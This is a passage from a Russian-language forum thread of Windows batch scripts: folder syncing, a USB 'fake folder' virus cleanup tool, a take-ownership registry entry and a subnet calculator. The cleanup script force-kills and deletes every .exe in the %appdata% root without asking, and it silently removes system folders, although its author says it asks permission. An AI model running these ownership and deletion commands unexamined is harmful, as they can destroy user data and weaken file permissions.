Батники для windows 10 полезные

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

1

15.10.2012, 00:56. Показов 586747. Ответов 179

Метки acl, antihidden, cabinet archive, cacls, drive serial number, folder permissions, not responding, regsvr32, sfc /scannow, takeown, полезные bat/cmd скрипты (Все метки)


Студворк — интернет-сервис помощи студентам

В этой теме выкладываем скрипты, которые часто используются Вами
или на Ваш взгляд могут иметь большое практическое значение.

Также приветствуются скрипты высокой степени сложности, полезные с точки зрения
изучения принципа их работы.

Правила темы:

  • При выкладывании скрипта постарайтесь тщательно описывать принцип его работы и по-больше комментировать строки Вашего кода.
  • Код, состоящий из > 4 строк, помещайте под теги [SPOILER=»Развернуть код…»]Ваш код[/SPOILER]. Также можно сделать 2 варианта: 1. Чистый код. 2. С комментариями.
  • Запрещаются любые обсуждения выложенных здесь работ;
  • если в этом есть необходимость, создайте отдельную тему в которой опишите замечание или проблему при работе с данным скриптом, указав ссылку на сообщение из этой темы (правый клик по слову «Permalink» вверху каждого сообщения).
  • Если Вы хотите внести исправление в выложенный Вами код — пишите мне в личку ссылку на Ваше старое сообщение и новый исправленный вариант. (полный вариант с тегами Вашего старого сообщения можно получить, нажав на него — кнопка «Цитата»).
  • Допускается размещение обзора программ, помогающих редактировать/отлаживать код.

Схожая тема: BAT/CMD файлы
Смежная тема: Полезные VBS скрипты и программы по работе с ними
Ссылка на набор полезных скриптов (предыдущая шапка от bombus) BAT/CMD файлы

*******************

Перечень полезных скриптов: *******************

Архивация и резервное копирование
Создание CAB-архивов ссылка

Безопасность
Удаление последствий вируса (фейковые папки на флешке) ALINK
Стать владельцем папки/файла, получить полные права (пункт контекстного меню (Reg-файл) ALINK
Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only) ссылка

Дата, время
Конвертация даты/времени из/в UNIX-формат(в секундах после 1-янв-1970 00:00:00) ссылка

Интерфейс
Крутящаяся палка (имитация) ссылка
Вызов GUI диалогового окна выбора папки ссылка
Разноцветный вывод в консоли. ссылка Цветная роза. ссылка
Диалоговое меню выбора файла ссылка

Компиляция
Помощник компиляции исходных кодов С# (.cs) через консольный NET.FrameWork компилятор ссылка

Операционная система
Восстановление шрифтов после сбоя ссылка
Пищалка (сигнал встроенного динамика, подобие Beep) ссылка
Регистрация всех библиотек DLL и OCX ссылка
Проверка целостности системных файлов утилитой sfc /scannow с выводом лога и автоопределением месторасположения диска ссылка

Сеть
Подсчёт маски подсети на основании двух крайних значений диапазона. ALINK
Пакетное получение информации о IP-адресах и построение HTML-отчёта. ALINK
GetIP/GetMAC/Get default gateway ссылка

Процессы
Завершение процесса (с листингом и выбором через меню) ссылка
Многопроцессное создание пустых файлов (бенчмарк для винчестера) ссылка
Отслеживание зависшего процесса и его перезапуск с указанным приоритетом ссылка
Process Change Monitor (мониторинг и протоколирование изменений в списке запущенных процессов) ссылка

Текстовые операции, кодировка
Вывод текста без переноса на новую строку ALINK
Перекодировка CP OEM-866 <-> WIN-1251 — 1) CMD 2) VBA 3) ASM (exe+src) ссылка
Помощь по всем командам вашей версии Windows / DOS ссылка
Транслитерация файлов, в именах которых есть кириллица

(файловые операции) ссылка
Преобразование текстового файла в кодировку Unicode (файловые операции) ссылка
Перекодировщик Reversed Hex в символьную строку ссылка

Файловые операции, разделы
Взаимное копирование содержимого 2 папок друг в друга ALINK
Прогресс-бар копирования файлов ссылка
Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку. ссылка
Создание нуль-копии папки для выкладывания на форуме ссылка
Получение серийного номера всех съемных устройств и физических жестких дисков (не разделов). Получение имен разделов физических накопителей (кроме оптических). ссылка

Другое
Расчёт индекса массы тела и идеального веса ссылка



21



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

15.10.2012, 00:57

 [ТС]

2

Взаимное копирование содержимого 2 папок друг в друга

Критерий копирования при совпадении имен файлов: последняя дата модификации.

Использование:
Сохранить в файл Мое_Название_файла.CMD
Скопировать файл в папку № 1.
Перетянуть папку № 2 на этот сценарий.

Примечание: скрипт использует Robocopy.exe из пакета Windows Resource Kit (является родной для Windows 7)

Развернуть код …

Windows Batch file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@echo off
setlocal enabledelayedexpansion
set "cat=%~dp0"
set "cat=!cat:~0,-1!"
color 9E
echo                    by Alex Drago.kas
echo.
echo.
echo Реверсивная синхронизация файлов/папок.
echo.
echo Вам нужно объеденить содержимое двух папок так,
echo чтобы взаимозаменить новые файлы по дате модификации,
echo а также добавить новые?
echo.
echo.
:: 1. Поместите сценарий в папку № 1
:: 2. Опустите папку № 2 на этот сценарий.
if (%1)==() goto :noCat
echo.
echo Будут взаимообъединены файлы и папки в каталогах:
echo 1. !cat!
echo 2. %1
echo.
pause
robocopy "!cat!" "%1" /s /fft
robocopy "%1" "!cat!" /s /fft
echo.
echo Объединение завершено.
echo.
pause
goto :eof
 
:noCat
echo Не задана папка № 2 ...
echo ---------------------------------
echo 1. Поместите сценарий в папку № 1
echo 2. Опустите папку № 2 на этот сценарий.
echo.
pause

Вложения

Тип файла: zip Dual_Synhro.zip (586 байт, 621 просмотров)



3



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

15.10.2012, 02:41

 [ТС]

3

Удаление последствий вируса (поддельные «фейковые» папки на флешке)
19.11.2012 — Критическое обновление (запускать скрипт «от имени Администратора» теперь безопасно).
Автор: Dragokas

Использование:
Скопировать в корень съемного диска (USB Flash Drive).
Запустить.

Показания к применению:
Ваша флешка побывала на компьютере с вирусом, скрывающим папки, а вместо них — теперь ярлыки.
Вы хотите, чтобы на флешке физически нельзя было создать autorun.inf, который дает команду на запуск паразитов.

Функционал v.1.5.:
1. Удаление файлов с расширением *.lnk (ярлыки), соответствующих именам папок.
1.1. Удаление других *.lnk с запросом подтверждения от пользователя.
2. Снятие атрибутов «скрытый», «системный» с папок в корне флешки.
3. Удаление файла автозапуска «autorun.inf».
4. Создание папки «autorun.inf» (контр-мера против дальнейшей возможности создавать файл autorun.inf)

Папка содержит в свою очередь 3 неудаляемые штатными способами подпапки, создаваемые разными алгоритмами.
(папка с 2 точками на конце, папка с именем системного устройства и папка с измененными ACL-правами доступа).

5. Удаление всех файлов с расширением *.exe в корне папки C:\Users\Пользователь\AppData\Roaming (%appdata%) — это безопасно.
6. Завершение процесса Host.exe. Поиск и удаление рекурсивно всех файлов Host.exe (все действия с подтверждением от пользователя).
7. Удаление модифицированных системных папок «recycled» и «System Volume Information» без подтверждения.
(удаление папки корзины Windows («recycler») на оперируемом томе происходит с подтверждением).
8. Удаление дополнительных обычно вирусных файлов (System, Game.cpl) в режиме подтверждения.

Тонкости:
Учитываются особенности работы с именами, где используются буквы украинского алфавита и др. спецсимволы.
Если удаление не происходит с первого раза предпринимается попытка получить права на объект и сменить владельца.
Если и это не получается сделать, производится попытка удалить папку/файл в обход ограничений API-функций Windows на имена.

Основные изменения в update 1.5. (от 16.11.2012)
Исправлены ошибки с кавычками и др. недочеты.
Скрипт спрашивает разрешения и ничего лишнего точно не удалит.
Более быстрая работа.
Добавлена визуализация и %-ый прогрессбар.

Обсуждение скрипта ведется здесь (и последняя версия скрипта тоже): AntiHidden — Удаление последствий вируса (поддельные «фейковые» папки на флешке)

FAQ

Как удалить созданную программой папку Autorun.inf
— Не скажу А вообще проще отформатировать флешку

Программа работает слишком долго:
— Вероятно много папок/файлов или за Вами очень внимательно следит антивирус

Зачем удалять программы в корне папки %appdata% ?
— Некоторые вирусы, скрывающие папки, хранят свое тело в папке %appdata%
Другие пользовательские или системные программы в корне этой папки никогда не хранятся.

Листинг исходного кода v.1.5.1. ua:

В коде версии 1.5. использованы спецсимволы BackSpace, поэтому при прямом копировании кода Ваш батник работать не будет, как задумано.
(скачивайте через прикрепленный файл).

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
@echo off
Setlocal EnableDelayedExpansion EnableExtensions
mode con: cols=82 lines=30
title Anti Hidden Fast - Видалення наслiдкiв вiрусної дiяльностi ver.1.5.1
color 1a
echo                                        Maded by Alex Drago.kas -=2012=-
echo   Anti Hidden Fast v.1.5.1                     -= Зроблено в Українi :)
echo.
echo   Етап 1. Вiдновлення властивостей корневих папок.
echo.
echo   Будуть встановленi такi параметри:
echo   - не "Прихований"
echo   - не "Системний"
echo   + стати власником
echo   + надати повнi права
echo.
echo   Для прискорення операцiї можна тимчасово вимкнути антивiрусне ПЗ.
 
Call :StrOne "  Працюю з папкою:  "
<nul set /p text=%%
Call :StrOne " " new
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
::Оценка количества папок для прогресс-бара, запись первой порции папок в массив (Hidden)
chcp 1251>nul
for /f "delims=" %%i in ('dir "%Cur%" /b /a:dh 2^>nul') do (set /a folders+=1& Set F.!folders!=%Cur%\%%i)
 
chcp 866>nul
for /L %%A in (1,1,%folders%) do (
  set /a Progress=100*%%A/%folders%
  Call :StrOne "!Progress! - !F.%%A!"
  Call :RecovFolder "!F.%%A!"
)
 
chcp 1251>nul
for /f "delims=" %%i in ('dir "%Cur%" /b /a:ds 2^>nul') do (
   Call :StrOne "*** - %%i"
   Call :RecovFolder "%Cur%\%%i"
)
chcp 866>nul
Call :StrOne "100 - завершено.                                                                "
echo.
 
echo   Етап 2. Видалення зайвих ярликiв.
::chcp 1251>nul
::Удаление только ярлыков, имена которых соответствуют именам папок
for /f "delims=" %%i in ('dir "%Cur%" /b /a:d') do if exist "%Cur%\%%i.lnk" (
  call :killfile "%Cur%\%%i.lnk"
)
chcp 866>nul
 
echo   Етап 3. Блокування стороннiх активних процесiв та видалення їх джерела.
if exist %appdata%\*.exe (
  for /f "delims=" %%i in ('dir %appdata%\*.exe /b /a') do taskkill /im "%%i" /t /f
  call :killfile "%appdata%\*.exe"
)
 
echo   Етап 4. Видалення файлу автозапуску.
if not exist "%Cur%\autorun.inf\" if exist "%Cur%\autorun.inf" call :killfile "%Cur%\autorun.inf"
 
echo   Етап 5. Видалення модифiкованих системних папок i чужорiдних файлiв.
for %%a in ("recycled" "System Volume Information") do (
  if exist "%Cur%\%%~a\" Call :KillFolder "%Cur%\%%~a")
) 1>nul 2>&1
if exist "%Cur%\recycler\" (
  echo   Знайдено папку Recycler. Продовжити видалення корзини Windows для тому %~d0 ? 
  Set /p RecycleRemove="Натиснiть "Y" та кнопку {ENTER} "
  Echo.!RecycleRemove!|>nul find /i "y"&&Call :KillFolder "%Cur%\recycler"
)
 
for %%b in (game.cpl system *.lnk) do for /F "delims=" %%a in ('2^>nul dir "%Cur%\%%b" /b /a:-d') do (
  echo.
  echo Знайдено пiдозрiлий файл - %%a. 
  echo Для видалення натиснiть "Y" та кнопку {ENTER}
  (takeown /f "%Cur%\%%a"&echo y|cacls "%Cur%\%%a" /g %username%:f) 1>nul 2>&1
  del /f /p /A "%Cur%\%%a"
)
 
echo.
color 1b
echo   Етап 5.1. Пошук i видалення файлiв host.exe. Будь ласка, чекайте...
tasklist |1>nul 2>&1 FindStr /B /L /I /C:host.exe&&(
  Echo   В системi запущено пiдозрiлий процес Host.exe
  Set /p HostClose="  Завершити його? - натиснiть Y та {ENTER}"
  Echo.!HostClose!|>nul find /i "y"&&taskkill /im "host.exe" /t /f
)
(for /f "tokens=*" %%a in ('Dir /b /s /a:-d "%Cur%\host.exe"') Do (
  if not Defined HostAgree (
    Echo   Всi файли з iм'ям Host.exe будуть видаленi з носiя %~dp0% рекурсивно.
    Set /p HostAgree="Щоб продовжити натиснiть Y та {ENTER}"
    Echo.!HostAgree!|>nul find /i "y"||Goto :ExtHostSeek
  )
  Call :KillFile "%%a"
)) 2>nul
:ExtHostSeek
 
color 1a
echo   Етап 6. Створення захисного файлу автозапуску, що не видаляється
echo           штатними засобами.
if not exist "%Cur%\autorun.inf\" mkdir "%Cur%\autorun.inf" 1>nul 2>&1
if not exist "%Cur%\autorun.inf\Dragokas..\" mkdir "%Cur%\autorun.inf\Dragokas..\" 1>nul 2>&1
if not exist "%Cur%\autorun.inf\com1\" mkdir "\\?\%Cur%\autorun.inf\com1" 1>nul 2>&1
if not exist "%Cur%\autorun.inf\defence" (
  mkdir "%Cur%\autorun.inf\defence" 1>nul 2>&1
  echo y|1>nul 2>&1 cacls "%Cur%\autorun.inf\defence" /d Все
  echo y|1>nul 2>&1 cacls "%Cur%\autorun.inf\defence" /d All
)
 
echo.
echo Процедуру проведено. Програму буде закрито.
ping -n 3 localhost 1>nul 2>&1
color
goto :eof
 
:RecovFolder
attrib -s -h "%~1" 1>nul 2>&1
attrib "%~1"|>nul FindStr /BIR "....H.."
if %errorlevel%==0 (
    Call :GrantAccess "%~1"
    attrib -s -h "%~1" 1>nul 2>&1
  ) else (
  attrib "%~1"|>nul FindStr /BIR "...S..."&&(
    Call :GrantAccess "%~1"
    attrib -s -h "%~1" 1>nul 2>&1
    )
)
exit /b
 
:GrantAccess
takeown /f "%~1" /r /d y 1>nul 2>&1
echo y|cacls "%~1" /g %username%:f 1>nul 2>&1
exit /b
 
:KillFile
attrib -s -h "%~1" 1>nul 2>&1
del /F /Q "%~1" 1>nul 2>&1
if exist "%~1" (
  takeown /f "%~1"
  echo y|cacls "%~1" /g %username%:f
  del /F /Q /A "%~1"
) 1>nul 2>&1
if exist "%~1" (
  del /F /Q /A "\\?\%~1"
) 1>nul 2>&1
exit /b
 
:KillFolder
attrib -s -h "%~1" 1>nul 2>&1
rd /S /Q "%~1" 1>nul 2>&1
if exist "%~1" (
  takeown /f "%~1" /r /d y
  echo y|cacls "%~1" /g %username%:f
  rd /S /Q "%~1"
) 1>nul 2>&1
if exist "%~1" (
  rd /S /Q "\\?\%~1"
) 1>nul 2>&1
exit /b
 
:StrLen
::Вычисляет длину переменной.
::Результат записывается в переменную LastLen
set strString=%~1
set /a LastLen = 0
::Максимальная длина переменной = 1024 символа
for /l %%i in (0,1,1024) do (
  set strTempString=!strString:~%%i,1!
  if "!strTempString!" neq "" (
    set /a LastLen+=1
  )
)
exit /b 0
 
:StrOne
::%1 - строка, которую отображаем
::%2 - параметры:
::new - печатать рядом
::vblf - печатать с новой строки
::если опущен, то заменять предыдущий текст.
if "%2"=="new" (set /a conWidth-=%LastLen%& call :StrWrite "%~1" New& exit /b 0)
if "%2"=="crlf" (call :GetConsoleWidth& echo.&call :StrWrite "%~1" New& exit /b 0)
::если предыдущего текста не было, просто печатаем текст и записываем его длину
if not defined LastLen (call :GetConsoleWidth& call :StrWrite "%~1" New& exit /b 0)
::Переменная с БекСпейсами
Set BS=
::Набиваем нужным количеством БекСпейсов
for /l %%i in (1,1,%LastLen%) do (Set BS=!BS!)
::Возвращаем каретку назад
<nul set /p text=%BS%
Set /a LenBefore=%LastLen%
::Печатаем текст поверх старого
Call :StrWrite "%~1" Fill
::Если новый текст короче старого, нужно затереть оставшиеся символы
if %LenBefore% GTR %LastLen% (
  set Space=
  set /a n=%LenBefore%-%LastLen%
  rem Набиваем Space слева пробелами, а справа возратом каретки
  rem Нужно ее ведь затем вернуть в пред. позицию
  for /l %%i in (1,1,!n!) do (Set Space= !Space!)
  rem Знак подчеркивания + BackSpace здесь я использую для обхода ограничения
  rem т.к. иначе, если в начале строки мы захотим напечатать пробел - это не получится сделать
  rem Команда (<nul set /p text= Текст) выведет "Текст" без пробела!
  (<nul set /p text=_!Space!)
)
exit /b 0
 
:StrWrite
::Вычисляем длину напечатанной строки
Call :StrLen "%~1"
::Определяем поместится ли по ширине консоли
Set Text=%~1
if %LastLen% GTR %conWidth% (
  call set Text=!Text:~0,%conWidth%!
  set /a LastLen=%conWidth%
)
::Печатаем текст на той же строке
<nul set /p text=_%Text%
::Обнуляем переменную длины предыдущей строки
if "%2"=="New" set /a LenBefore=0
exit /b 0
 
:GetConsoleWidth
::Получение ширины консоли
For /F "skip=4 tokens=1,2" %%v In ('mode con') Do (
  Set /A conWidth=%%w-4
  Exit /B
)

Add. Перевод на русский v.1.4.:

Листинг (с переводом).

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
@echo off
title Anti Hidden Fast - Удаление следов вирусной деятельности ver.1.4
color 1a
echo                                        Maded by Alex Drago.kas -=2012=-
echo   Anti Hidden Fast v.1.4                       -= Сделано в Украине :)
echo.
echo   Этап 1. Возобновление свойств корневых папок.
echo.
echo   Будут установлены такие параметры:
echo   - не "Скрытый"
echo   - не "Системный"
echo   + стать собственником
echo   + предоставить полные права
echo.
echo   Для ускорения операции можно временно отключить антивирусное ПО.
chcp 1251>nul
for /f "delims=" %%i in ('dir /b /a:d') do (
for /f "delims={;}" %%s in ('attrib "%%i"') do (call :oper "%%s" "%%i")
)
chcp 866>nul
echo.
echo   Этап 2. Удаление лишних ярлыков.
 
chcp 1251>nul
for /f "delims=" %%i in ('dir /b /a:d') do if exist %%i.lnk call :killfile %%i.lnk
chcp 866>nul
 
echo   Этап 3. Блокирование сторонних активных процессов и удаление их источника.
if exist %appdata%\*.exe (
for /f "delims=" %%i in ('dir %appdata%\*.exe /b /a') do taskkill /im "%%i" /t /f
call :killfile %appdata%\*.exe
)
 
echo   Этап 4. Удаление файла автозапуска.
if not exist autorun.inf\ if exist autorun.inf call :killfile autorun.inf
::echo.
echo   Этап 5. Удаление модифицированных системных папок и инородных файлов.
for %%a in ("recycled" "recycler" "System Volume Information") do (
if exist %%a (takeown /f %%a /r /d y&echo y|cacls %%a /g %username%:f&attrib -s -h %%a&rd /s /q %%a)
) 1>nul 2>&1
for %%a in (game.cpl system) do (if exist %%a (
echo.
echo Найдено подозрительный файл - %%a. 
echo Для удаления нажмите "Y" и кнопку {ENTER}
(takeown /f %%a&echo y|cacls %%a /g %username%:f&&attrib -s -h %%a) 1>nul 2>&1
del /f /p %%a
))
echo.
color 1b
::echo   Этап 5.1. Поиск и удаление файлов host.exe. Пожалуйста, подождите...
tasklist |1>nul 2>&1 FindStr /B /L /I /C:host.exe&&taskkill /im "host.exe" /t /f
(for /f "tokens=*" %%a in ('Dir /b /s /a:-d host.exe') Do (
attrib -s -h "%%a" 1>nul 2>&1
del /f /q "%%a" 1>nul 2>&1
)) 2>nul
 
color 1a
echo   Этап 6. Создание защитного файла автозапуска, который не удаляется
echo           штатными средствами.
if not exist autorun.inf\ mkdir autorun.inf 1>nul 2>&1
if not exist autorun.inf\defence..\ mkdir autorun.inf\defence..\ 1>nul 2>&1
if not exist autorun.inf\com1\ mkdir "\\?\%~d0\autorun.inf\com1" 1>nul 2>&1
if not exist autorun.inf\123 (
mkdir autorun.inf\123 1>nul 2>&1
echo y|1>nul 2>&1 cacls "123" /d Все
echo y|1>nul 2>&1 cacls "123" /d All
)
echo.
echo Процедура проведена. Программа будет закрыта.
ping -n 3 localhost 1>nul 2>&1
color 07
goto :eof
 
:oper
echo %1|>nul FindStr /BIR ".....H."&&attrib -s -h %2 1>nul 2>&1
echo %1|>nul FindStr /BIR ".....H."&&(
takeown /f %2 /r /d y 1>nul 2>&1
echo y|>nul cacls %2 /g %username%:f
attrib -s -h %2 1>nul 2>&1
)
exit /b
 
:killfile
(attrib -s -h %1
del /F /Q %1||(takeown /f %1&echo y|cacls %1 /g %username%:f&&attrib -s -h %1&&del /F /Q %1)
) 1>nul 2>&1

Вложения

Тип файла: rar Anti_Hidden_fast_ua_v.1.5.1.rar (3.1 Кб, 1226 просмотров)
Тип файла: rar Anti_Hidden_fast_ru_v.1.5.1.rar (3.0 Кб, 2221 просмотров)



8



Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

15.10.2012, 02:44

 [ТС]

4

Стать владельцем папки/файла, получить полные права (пункт контекстного меню)

Скрипт представляет из себе ключик реестра.
Установка:
Сохранить код в файл с расширением .REG
Запустить Reg-ключ и подтвердить импорт в реестр.

Использование:
Правый клик по нужному файлу/папке, выбрать «Стать владельцем и задать полный доступ к объекту».

Предназначение:
Назначает Вас владельцем указанной папки (файла).
«Сбрасывает» его/ее ACL-таблицу.

Показания к применению:
При попытке файловой операции над файлом/папкой появляется сообщение «У Вас недостаточно прав для выполнения данной операции». Бывает, когда копируете данные с другого компьютера.
Прим.: данное средство не позволяет переназначить права, если требуемый файл находится вне целевого компьютера (в локальной сети).

Ключик Nizaury Reg-Key Листинг:

Код

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\shell\runas]
@="Стать владельцем и задать полный доступ к объекту"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\*\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant администраторы:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant администраторы:F"

[HKEY_CLASSES_ROOT\Directory\shell\runas]
@="Стать владельцем и задать полный доступ к объекту"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant администраторы:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant администраторы:F /t"

Автор: Nizaury

Смежный скрипт: Смена владельца и прав на папку и ее содержимое, в которой запущен батник



13



Anonymоus

612 / 92 / 14

Регистрация: 15.08.2012

Сообщений: 62

15.10.2012, 05:16

5

Подсчёт маски подсети на основании двух крайних значений диапазона.

Синтаксис — netmask.cmd <начало диапазона> <конец диапазона>
Вызов из другого скрипта — см. комментарии.

Развернуть код …

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
@Echo Off
:: Subnet mask from IP range
:: Inquisitor, 2012
:: Distributed under GNU GPL v2 license
:: [url]http://www.gnu.org/licenses/gpl-2.0.html[/url]
SetLocal EnableDelayedExpansion
Set NetworkHostBoundary=false
Set NetMask=
 
:: Если вызывается не из консоли, а из другого батника,
:: вызывать нужно из цикла for для корректной работы
:: Пример:
rem For /F %%A In ('netmask.cmd 192.168.1.0 192.168.8.255') Do Echo %%A
 
:: Проверка на запуск с аргументами
:: Если без аргументов - пример использования и выход
If "%*"=="" (Echo USAGE: %~nx0 192.168.1.0 192.168.3.255&GoTo :EOF)
 
:: Разбор входящих аргументов, cравнение начального и конечного
:: адресов по октетам
For /F "tokens=1-8 delims=. " %%A In ("%*") Do (
    Call :Mask %%A %%E
    Call :Mask %%B %%F
    Call :Mask %%C %%G
    Call :Mask %%D %%H
)
:: Вывод в stdout результата и выход, раскомментировать нужное
:: Вывод _БЕЗ_ перевода строки
<Nul Set /P Echo=!NetMask!
:: Вывод _С_ переводом строки
rem Echo !NetMask!
GoTo :EOF
 
 
:DEC2BIN
:: Функция перевода числа из десятеричной системы в двоичную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
:d2b_loop
:: Проверяем, есть ли остаток от деления
Set /A x1=Data/2
Set /A x2=x1*2
If "%x2%"=="%Data%" (Set Mod=0) Else (Set Mod=1)
:: Устанавливаем в качестве входных данных результат деления
Set Data=%x1%
:: Пишем результат поразрядно, в обратном порядке
Set Result=%Mod%%Result%
:: Следующая итерация или выход после окончания
If Not "%x1%"=="0" GoTo d2b_loop
:: Перед выходом - дополнение ведущими нулями до двух в восьмой
:: Требуется для корректного сравнения двух чисел без сдвига
Call :LeadingZero %Result%
GoTo :EOF
 
:BIN2DEC
:: Функция перевода числа из двоичной системы в десятеричную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
:: Значение -1 для начала значения счетчика с нуля
Set i=-1
Set Data=%1
:b2d_loop
:: Получаем текущий разряд числа
Set /A i+=1
Set x1=%Data:~-1%
:: Используем бинарный сдвиг для получения степени двойки
Set /A x2="x1 * (1 << i)"
:: Добавляем к результату
Set /A Result+=%x2%
:: Следующая итерация или выход после окончания
If Not "%Data:~,-1%"=="" (Set Data=%Data:~,-1%&GoTo b2d_loop)
GoTo :EOF
 
:LeadingZero
:: Дополнение ведушими нулями до двух в восьмой (один байт)
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
For /L %%A In (1,1,8) Do (
    If Not "!Data!"=="" (
        Set Result=!Data:~-1!!Result!
        Set Data=!Data:~,-1!
    ) Else (
        Set Result=0!Result!
    )
) 
GoTo :EOF
 
:FastCompare
:: Быстрое сравнение, если найдены различия - вызывается функция
:: более детального сравнения для поиска самого различия
:: Принимает два аргумента, результат возвращается в %Result%
If Not !NetworkHostBoundary!==true (
    If "%1"=="%2" (
        Set Result=11111111
        GoTo :EOF
    ) Else (
        Call :Compare %1 %2
    )
) Else (
    Set Result=00000000
)
GoTo :EOF
 
:Compare
:: Сравнение двух однобайтных чисел поразрядно, локализация начала различий
:: и забивание всего после первого различия нулями
:: Принимает два аргумента, результат возвращается в %Result%
:: Ведущие нули у обоих чисел обязательны
Set x1=%1&Set x2=%2
Set Result=
For /L %%A In (1,1,8) Do (
:: Получение ведущего разряда от каждого из чисел
    Set n1=!x1:~,1!
    Set n2=!x2:~,1!
:: Сравнение двух чисел и инвертирование бита
    Set /A Data="1 ^ (n1 ^ n2)"
:: Установка флага начала различия
    If !Data!==0 Set NetworkHostBoundary=true
:: Обнуление всех последующих после различия разрядов
    If !NetworkHostBoundary!==true Set Data=0
:: Поразрядная запись результата
    Set Result=!Result!!Data!
:: Устанавливаем остаток в качестве входных данных для следующей итерации
    Set x1=!x1:~1!
    Set x2=!x2:~1!
)
GoTo :EOF
 
:Mask
:: Генерация одного октета маски
:: Принимает два аргумента, результат дописывается к %NetMask%
Call :DEC2BIN %1&&Set From=!Result!
Call :DEC2BIN %2&&Set To=!Result!
Call :FastCompare !From! !To!
Call :BIN2DEC !Result!
If "!NetMask!"=="" (Set NetMask=!Result!) Else (Set NetMask=!NetMask!.!Result!)
GoTo :EOF

UPD. 26.04.13
Изменения: переписан вывод помощи и добавлен ключ для вывода маски в формате CIDR.

Использование:
netmask <начальный IP диапазона> <конечный IP диапазона>
netmask <начальный IP диапазона> <конечный IP диапазона> cidr

Примеры:

Bash
1
2
netmask 195.189.120.0 195.189.123.255 = 255.255.252.0
netmask 195.189.120.0 195.189.123.255 CIDR = /22

Развернуть код …

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
@Echo Off
:: # 
:: # Subnet mask from IP range v2.1
:: # Inquisitor, 2012-2013
:: # Distributed under GNU GPL v2 license
:: # [url]http://www.gnu.org/licenses/gpl-2.0.html[/url]
:: # 
:: # USAGE: NetMask.cmd first_ip_from_range last_ip_from_range
:: #        or, for display in CIDR format
:: #        NetMask.cmd first_ip_from_range last_ip_from_range cidr
:: # 
SetLocal EnableDelayedExpansion
Set NetworkHostBoundary=false
Set NetMask=
 
:: Если вызывается не из консоли, а из другого батника,
:: вызывать нужно из цикла for для корректной работы
:: Пример:
rem For /F %%A In ('netmask.cmd 192.168.1.0 192.168.8.255') Do Echo %%A
 
:: Проверка на запуск с аргументами
:: Если без аргументов - пример использования и выход
If "%*"=="" (
    For /F "tokens=1,* delims=#" %%A In ('FindStr /R /B "::.#" "%~dpnx0"') Do (
        Echo.%%B
    )
    GoTo :EOF
)
 
:: Разбор входящих аргументов, cравнение начального и конечного
:: адресов по октетам
For /F "tokens=1-9 delims=. " %%A In ("%*") Do (
    Call :Mask %%A %%E
